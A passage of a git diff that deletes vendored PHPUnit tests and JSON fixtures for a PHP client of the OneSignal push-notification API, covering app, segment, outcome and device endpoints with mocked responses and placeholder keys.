'7ed2887d-bd24-4a81-8220-4b256a08ab19', - ], $responseData); - } - - public function testCreateSegmentWithExistingId(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps/fakeApplicationId/segments', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_create_segment_conflict.json'), ['http_code' => 409]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->createSegment('fakeApplicationId', [ - 'id' => '7ed2887d-bd24-4a81-8220-4b256a08ab19', - 'name' => '1', - 'filters' => [], - ]); - - self::assertSame([ - 'success' => false, - 'errors' => ['Segment with the given id already exists.'], - ], $responseData); - } - - public function testCreateSegmentWithEmptyName(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/apps/fakeApplicationId/segments', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('apps_create_segment_with_empty_name.json'), ['http_code' => 400]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->createSegment('fakeApplicationId', [ - 'name' => '', - 'filters' => [], - ]); - - self::assertSame([ - 'success' => false, - 'errors' => ['name is required'], - ], $responseData); - } - - public function testOutcomes(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/apps/fakeApplicationId/outcomes?outcome_time_range=1h&outcome_attribution=direct&outcome_names%5B%5D=os__session_duration.count&outcome_names%5B%5D=os__click.count&outcome_names%5B%5D=Sales%2C+Purchase.sum&outcome_platforms=0%2C1', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('apps_outcomes.json'), ['http_code' => 200]); - }); - - $apps = new Apps($client, new ResolverFactory($client->getConfig())); - - $responseData = $apps->outcomes('fakeApplicationId', [ - 'outcome_names' => [ - 'os__session_duration.count', - 'os__click.count', - 'Sales, Purchase.sum', - ], - 'outcome_time_range' => '1h', - 'outcome_platforms' => [Devices::IOS, Devices::ANDROID], - 'outcome_attribution' => Apps::OUTCOME_ATTRIBUTION_DIRECT, - ]); - - self::assertSame([ - 'outcomes' => [ - [ - 'id' => 'os__session_duration', - 'value' => 100, - 'aggregation' => 'sum', - ], - [ - 'id' => 'os__click', - 'value' => 4, - 'aggregation' => 'count', - ], - [ - 'id' => 'Sales, Purchase.count', - 'value' => 348, - 'aggregation' => 'sum', - ], - ], - ], $responseData); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/ConfigTest.php b/vendor/norkunas/onesignal-php-api/tests/ConfigTest.php deleted file mode 100644 index 756e44e671..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/ConfigTest.php +++ /dev/null @@ -1,23 +0,0 @@ -createConfig())->getApplicationId()); - } - - public function testGetApplicationAuthKey(): void - { - self::assertSame('fakeApplicationAuthKey', ($this->createConfig())->getApplicationAuthKey()); - } - - public function testGetUserAuthKey(): void - { - self::assertSame('fakeUserAuthKey', ($this->createConfig())->getUserAuthKey()); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/DevicesTest.php b/vendor/norkunas/onesignal-php-api/tests/DevicesTest.php deleted file mode 100644 index f89af876b4..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/DevicesTest.php +++ /dev/null @@ -1,325 +0,0 @@ -createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse($this->loadFixture('devices_get_one.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->getOne('e4e87830-b954-11e3-811d-f3b376925f15'); - - self::assertSame([ - 'identifier' => 'ce777617da7f548fe7a9ab6febb56cf39fba6d382000c0395666288d961ee566', - 'session_count' => 1, - 'language' => 'en', - 'timezone' => -28800, - 'game_version' => '1.0', - 'device_os' => '7.0.4', - 'device_type' => 0, - 'device_model' => 'iPhone', - 'ad_id' => null, - 'tags' => ['a' => '1', 'foo' => 'bar'], - 'last_active' => 1395096859, - 'amount_spent' => 0.0, - 'created_at' => 1395096859, - 'invalid_identifier' => false, - 'badge_count' => 0, - 'external_user_id' => null, - ], $responseData); - } - - public function testGetOneNonExisting(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/players/a?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - - return new MockResponse($this->loadFixture('devices_get_one_not_existing.json'), ['http_code' => 400]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->getOne('a'); - - self::assertSame([ - 'errors' => ['No user with this id found'], - ], $responseData); - } - - public function testGetAll(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('GET', $method); - $this->assertSame(OneSignal::API_URL.'/players?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('devices_get_all.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->getAll(); - - self::assertSame([ - 'total_count' => 1, - 'offset' => 0, - 'limit' => 300, - 'players' => [ - [ - 'identifier' => 'ce777617da7f548fe7a9ab6febb56cf39fba6d382000c0395666288d961ee566', - 'session_count' => 1, - 'language' => 'en', - 'timezone' => -28800, - 'game_version' => '1.0', - 'device_os' => '7.0.4', - 'device_type' => 0, - 'device_model' => 'iPhone', - 'ad_id' => null, - 'tags' => ['a' => '1', 'foo' => 'bar'], - 'last_active' => 1395096859, - 'amount_spent' => 0.0, - 'created_at' => 1395096859, - 'invalid_identifier' => false, - 'badge_count' => 0, - 'external_user_id' => null, - ], - ], - ], $responseData); - } - - public function testAdd(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/players', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_add.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->add([ - 'identifier' => 'ce777617da7f548fe7a9ab6febb56cf39fba6d382000c0395666288d961ee566', - 'language' => 'en', - 'timezone' => -28800, - 'game_version' => '1.0', - 'device_os' => '7.0.4', - 'device_type' => 0, - 'device_model' => 'iPhone 8,2', - 'tags' => ['a' => '1', 'foo' => 'bar'], - ]); - - self::assertSame([ - 'success' => true, - 'id' => 'ffffb794-ba37-11e3-8077-031d62f86ebf', - ], $responseData); - } - - public function testUpdate(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('PUT', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_update.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->update('e4e87830-b954-11e3-811d-f3b376925f15', [ - 'language' => 'es', - 'timezone' => -28800, - 'game_version' => '1.0', - 'device_os' => '7.0.4', - 'device_model' => 'iPhone', - 'ip' => '127.0.0.1', - 'tags' => ['a' => '1', 'foo' => ''], - ]); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testDelete(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('DELETE', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('authorization', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Authorization: Basic fakeApplicationAuthKey', $options['normalized_headers']['authorization'][0]); - - return new MockResponse($this->loadFixture('devices_delete.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->delete('e4e87830-b954-11e3-811d-f3b376925f15'); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testOnSession(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15/on_session', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_on_session.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->onSession('e4e87830-b954-11e3-811d-f3b376925f15', [ - 'language' => 'es', - 'timezone' => -28800, - 'game_version' => '1.0', - 'device_os' => '7.0.4', - ]); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testOnPurchase(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15/on_purchase', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_on_purchase.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->onPurchase('e4e87830-b954-11e3-811d-f3b376925f15', [ - 'purchases' => [ - [ - 'sku' => 'SKU123', - 'iso' => 'USD', - 'amount' => 0.99, - ], - ], - ]); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testOnFocus(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/players/e4e87830-b954-11e3-811d-f3b376925f15/on_focus', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_on_focus.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->onFocus('e4e87830-b954-11e3-811d-f3b376925f15', [ - 'state' => 'ping', - 'active_time' => 60, - ]); - - self::assertSame([ - 'success' => true, - ], $responseData); - } - - public function testCsvExport(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('POST', $method); - $this->assertSame(OneSignal::API_URL.'/players/csv_export?app_id=fakeApplicationId', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_csv_export.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->csvExport(['country', 'notification_types', 'external_user_id', 'location', 'rooted', 'ip', 'country', 'web_auth', 'web_p256'], 'Active Users', 1469392779); - - self::assertSame([ - 'csv_file_url' => 'https://onesignal.com/csv_exports/b2f7f966-d8cc-11e4-bed1-df8f05be55ba/users_184948440ec0e334728e87228011ff41_2015-11-10.csv.gz', - ], $responseData); - } - - public function testEditTags(): void - { - $client = $this->createClientMock(function (string $method, string $url, array $options): ResponseInterface { - $this->assertSame('PUT', $method); - $this->assertSame(OneSignal::API_URL.'/apps/fakeApplicationId/users/12345', $url); - $this->assertArrayHasKey('accept', $options['normalized_headers']); - $this->assertArrayHasKey('content-type', $options['normalized_headers']); - $this->assertSame('Accept: application/json', $options['normalized_headers']['accept'][0]); - $this->assertSame('Content-Type: application/json', $options['normalized_headers']['content-type'][0]); - - return new MockResponse($this->loadFixture('devices_edit_tags.json'), ['http_code' => 200]); - }); - - $devices = new Devices($client, new ResolverFactory($client->getConfig())); - - $responseData = $devices->editTags('12345', [ - 'tags' => ['a' => '1', 'foo' => ''], - ]); - - self::assertSame([ - 'success' => true, - ], $responseData); - } -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add.json deleted file mode 100644 index d8b1e6d975..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "id": "e4e87830-b954-11e3-811d-f3b376925f15", - "name": "Your app 1", - "players": 0, - "messageable_players": 0, - "updated_at": "2014-04-01T04:20:02.003Z", - "created_at": "2014-04-01T04:20:02.003Z", - "gcm_key": "a gcm push key", - "chrome_web_origin": "Chrome Web Push Site URL", - "chrome_web_default_notification_icon": "http://yoursite.com/chrome_notification_icon", - "chrome_web_sub_domain": "your_site_name", - "apns_env": "production", - "apns_certificates": "Your apns certificate", - "safari_apns_certificate": "Your Safari APNS certificate", - "safari_site_origin": "The homename for your website for Safari Push, including http or https", - "safari_push_id": "The certificate bundle ID for Safari Web Push", - "safari_icon_16_16": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png", - "safari_icon_32_32": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png", - "safari_icon_64_64": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png", - "safari_icon_128_128": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png", - "safari_icon_256_256": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png", - "site_name": "The URL to your website for Web Push", - "basic_auth_key": "NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj" -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add_with_empty_name.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add_with_empty_name.json deleted file mode 100644 index 3e0009d245..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_add_with_empty_name.json +++ /dev/null @@ -1 +0,0 @@ -{"errors":["Name Enter an app name"]} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment.json deleted file mode 100644 index ce9ed631fe..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true, "id": "7ed2887d-bd24-4a81-8220-4b256a08ab19"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_conflict.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_conflict.json deleted file mode 100644 index 15168dfc39..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_conflict.json +++ /dev/null @@ -1 +0,0 @@ -{"success": false, "errors": ["Segment with the given id already exists."]} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_with_empty_name.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_with_empty_name.json deleted file mode 100644 index 58cc8e25fc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_create_segment_with_empty_name.json +++ /dev/null @@ -1 +0,0 @@ -{"success": false, "errors": ["name is required"]} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_all.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_all.json deleted file mode 100644 index 01f189f038..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_all.json +++ /dev/null @@ -1,54 +0,0 @@ -[ - { - "id": "92911750-242d-4260-9e00-9d9034f139ce", - "name": "Your app 1", - "players": 150, - "messageable_players": 143, - "updated_at": "2014-04-01T04:20:02.003Z", - "created_at": "2014-04-01T04:20:02.003Z", - "gcm_key": "a gcm push key", - "chrome_key": "A Chrome Web Push GCM key", - "chrome_web_origin": "Chrome Web Push Site URL", - "chrome_web_gcm_sender_id": "Chrome Web Push GCM Sender ID", - "chrome_web_default_notification_icon": "http://yoursite.com/chrome_notification_icon", - "chrome_web_sub_domain": "your_site_name", - "apns_env": "sandbox", - "apns_certificates": "Your apns certificate", - "safari_apns_certificate": "Your Safari APNS certificate", - "safari_site_origin": "The homename for your website for Safari Push, including http or https", - "safari_push_id": "The certificate bundle ID for Safari Web Push", - "safari_icon_16_16": "http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/16x16.png", - "safari_icon_32_32": "http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/16x16@2.png", - "safari_icon_64_64": "http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/32x32@2x.png", - "safari_icon_128_128": "http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/128x128.png", - "safari_icon_256_256": "http://onesignal.com/safari_packages/92911750-242d-4260-9e00-9d9034f139ce/128x128@2x.png", - "site_name": "The URL to your website for Web Push", - "basic_auth_key": "NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj" - }, - { - "id": "e4e87830-b954-11e3-811d-f3b376925f15", - "name": "Your app 2", - "players": 100, - "messageable_players": 80, - "updated_at": "2014-04-01T04:20:02.003Z", - "created_at": "2014-04-01T04:20:02.003Z", - "gcm_key": "a gcm push key", - "chrome_key": "A Chrome Web Push GCM key", - "chrome_web_origin": "Chrome Web Push Site URL", - "chrome_web_gcm_sender_id": "Chrome Web Push GCM Sender ID", - "chrome_web_default_notification_icon": "http://yoursite.com/chrome_notification_icon", - "chrome_web_sub_domain": "your_site_name", - "apns_env": "sandbox", - "apns_certificates": "Your apns certificate", - "safari_apns_certificate": "Your Safari APNS certificate", - "safari_site_origin": "The homename for your website for Safari Push, including http or https", - "safari_push_id": "The certificate bundle ID for Safari Web Push", - "safari_icon_16_16": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png", - "safari_icon_32_32": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png", - "safari_icon_64_64": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png", - "safari_icon_128_128": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png", - "safari_icon_256_256": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png", - "site_name": "The URL to your website for Web Push", - "basic_auth_key": "NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj" - } -] diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one.json deleted file mode 100644 index d8b1e6d975..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one.json +++ /dev/null @@ -1,24 +0,0 @@ -{ - "id": "e4e87830-b954-11e3-811d-f3b376925f15", - "name": "Your app 1", - "players": 0, - "messageable_players": 0, - "updated_at": "2014-04-01T04:20:02.003Z", - "created_at": "2014-04-01T04:20:02.003Z", - "gcm_key": "a gcm push key", - "chrome_web_origin": "Chrome Web Push Site URL", - "chrome_web_default_notification_icon": "http://yoursite.com/chrome_notification_icon", - "chrome_web_sub_domain": "your_site_name", - "apns_env": "production", - "apns_certificates": "Your apns certificate", - "safari_apns_certificate": "Your Safari APNS certificate", - "safari_site_origin": "The homename for your website for Safari Push, including http or https", - "safari_push_id": "The certificate bundle ID for Safari Web Push", - "safari_icon_16_16": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16.png", - "safari_icon_32_32": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/16x16@2.png", - "safari_icon_64_64": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/32x32@2x.png", - "safari_icon_128_128": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128.png", - "safari_icon_256_256": "http://onesignal.com/safari_packages/e4e87830-b954-11e3-811d-f3b376925f15/128x128@2x.png", - "site_name": "The URL to your website for Web Push", - "basic_auth_key": "NGEwMGZmMjItY2NkNy0xMWUzLTk5ZDUtMDAwYzI5NDBlNjJj" -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one_not_existing.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one_not_existing.json deleted file mode 100644 index d4293a66e5..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_one_not_existing.json +++ /dev/null @@ -1 +0,0 @@ -{"errors":"Couldn't find app with id = a"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_with_wrong_user_auth_key.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_with_wrong_user_auth_key.json deleted file mode 100644 index 87ee797633..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_get_with_wrong_user_auth_key.json +++ /dev/null @@ -1 +0,0 @@ -{"errors":["Please include a case-sensitive header of Authorization: Basic \u003cYOUR-USER-AUTH-KEY-HERE\u003e with a valid User Auth key."],"reference":["https://documentation.onesignal.com/docs/accounts-and-keys#section-user-auth-key"]} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_outcomes.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_outcomes.json deleted file mode 100644 index 84670d4752..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_outcomes.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "outcomes": [ - { - "id": "os__session_duration", - "value": 100, - "aggregation": "sum" - }, - { - "id": "os__click", - "value": 4, - "aggregation": "count" - }, - { - "id": "Sales, Purchase.count", - "value": 348, - "aggregation": "sum" - } - ] -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_update_not_existing.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_update_not_existing.json deleted file mode 100644 index 8358a0cab8..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/apps_update_not_existing.json +++ /dev/null @@ -1 +0,0 @@ -{"status":404,"error":"Not Found"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_add.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_add.json deleted file mode 100644 index 619a7371af..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_add.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true, "id": "ffffb794-ba37-11e3-8077-031d62f86ebf"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_csv_export.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_csv_export.json deleted file mode 100644 index 1bfc200e1a..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_csv_export.json +++ /dev/null @@ -1 +0,0 @@ -{"csv_file_url": "https://onesignal.com/csv_exports/b2f7f966-d8cc-11e4-bed1-df8f05be55ba/users_184948440ec0e334728e87228011ff41_2015-11-10.csv.gz"} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_delete.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_delete.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_delete.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_edit_tags.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_edit_tags.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_edit_tags.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_all.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_all.json deleted file mode 100644 index 186884fa64..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_all.json +++ /dev/null @@ -1,26 +0,0 @@ -{ - "total_count":1, - "offset":0, - "limit":300, - "players": - [ - { - "identifier":"ce777617da7f548fe7a9ab6febb56cf39fba6d382000c0395666288d961ee566", - "session_count":1, - "language":"en", - "timezone":-28800, - "game_version":"1.0", - "device_os":"7.0.4", - "device_type":0, - "device_model":"iPhone", - "ad_id":null, - "tags":{"a":"1","foo":"bar"}, - "last_active":1395096859, - "amount_spent":0.0, - "created_at":1395096859, - "invalid_identifier":false, - "badge_count": 0, - "external_user_id": null - } - ] -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one.json deleted file mode 100644 index 5bc89d7d0d..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one.json +++ /dev/null @@ -1,18 +0,0 @@ -{ - "identifier":"ce777617da7f548fe7a9ab6febb56cf39fba6d382000c0395666288d961ee566", - "session_count":1, - "language":"en", - "timezone":-28800, - "game_version":"1.0", - "device_os":"7.0.4", - "device_type":0, - "device_model":"iPhone", - "ad_id":null, - "tags":{"a":"1","foo":"bar"}, - "last_active":1395096859, - "amount_spent":0.0, - "created_at":1395096859, - "invalid_identifier":false, - "badge_count": 0, - "external_user_id": null -} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one_not_existing.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one_not_existing.json deleted file mode 100644 index 549470ca11..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_get_one_not_existing.json +++ /dev/null @@ -1 +0,0 @@ -{"errors":["No user with this id found"]} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_focus.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_focus.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_focus.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_purchase.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_purchase.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_purchase.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_session.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_session.json deleted file mode 100644 index 580e638ecc..0000000000 --- a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_on_session.json +++ /dev/null @@ -1 +0,0 @@ -{"success": true} diff --git a/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_update.json b/vendor/norkunas/onesignal-php-api/tests/Fixtures/devices_update.json deleted file mode 100644 index 